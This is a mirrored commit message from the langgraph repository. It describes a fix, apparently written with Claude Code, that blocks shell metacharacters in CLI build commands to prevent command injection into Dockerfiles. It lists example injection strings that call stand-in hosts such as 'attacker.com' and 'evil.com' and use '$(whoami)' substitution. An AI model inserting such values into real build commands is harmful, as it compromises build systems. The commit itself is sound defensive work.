mirror of
https://github.com/langchain-ai/langgraph.git
synced 2026-08-17 21:25:46 +02:00
e00a027579
## Summary - Adds `|`, `;`, `$`, `>`, `<`, `\t` to `DISALLOWED_BUILD_COMMAND_CHARS` to prevent command injection in CLI `build_command` / `install_command` parameters - Previously these values were interpolated directly into Dockerfile `RUN` directives with no validation - Single `&` is blocked (background execution) while `&&` remains allowed since it's commonly used in build commands (e.g. `npm install && npm build`) - Adds `has_disallowed_build_command_content()` validation function and applies it in the `build` CLI command - Mirrors langchain-ai/langchainplus#19143 **Attack examples now blocked:** - `pip install foo | curl attacker.com` (pipe) - `npm install; curl evil.com` (semicolon) - `pip install $(whoami)` (command substitution) - `pip install ${IFS}evil` (variable expansion) - `npm install & curl evil.com` (background execution) ## Test Plan - [x] 27 new unit tests covering all disallowed chars, injection patterns, single `&` rejection, `&&` allowance, and valid commands - [x] All 64 tests in `test_config.py` pass (37 existing + 27 new) 🤖 Generated with [Claude Code](https://claude.com/claude-code) --------- Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>